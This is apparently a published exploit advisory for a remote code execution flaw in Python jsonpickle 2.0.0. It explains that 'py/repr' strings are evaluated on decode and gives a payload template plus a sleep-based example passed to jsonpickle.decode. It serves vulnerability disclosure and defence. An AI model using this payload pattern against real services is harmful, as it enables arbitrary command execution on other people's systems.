Authored by Shay Reuven, Adi Malyanker

Python jsonpickle version 2.0.0 suffers from a remote code execution vulnerability.

# Exploit Title: python jsonpickle 2.0.0 - Remote Code Execution
# Date: 24-2-2021
# Vendor Homepage: https://jsonpickle.github.io
# Exploit Author: Adi Malyanker, Shay Reuven
# Software Link: https://github.com/jsonpickle/jsonpickle
# Version: 2.0.0
# Tested on: windows, linux

# Python is an open source language. jsonickle module is provided to convert objects into a serialized form,
# and later recover the data back into an object. the decode is used to undeserialize serialized strings.

# If malicious data is deserialized, it will execute arbitrary Python commands. It is also possible to make system() calls.
# the problem is in the inner function loadrepr function which eval each serialized string which contains "py/repr".

# The vulnerability exists from the first version till the current version for backward compatibility. no patch is provided yet

# the payload was found during our research made on deserialization functions.

# the pattern should be :
# {..{"py/repr":<the module to import>/<the command to be executed.>}..}

# example:

malicious = '{"1": {"py/repr": "time/time.sleep(10)"}, "2": {"py/id": 67}}'

# the command on the server side
some_parameter = jsonpickle.decode(malicious)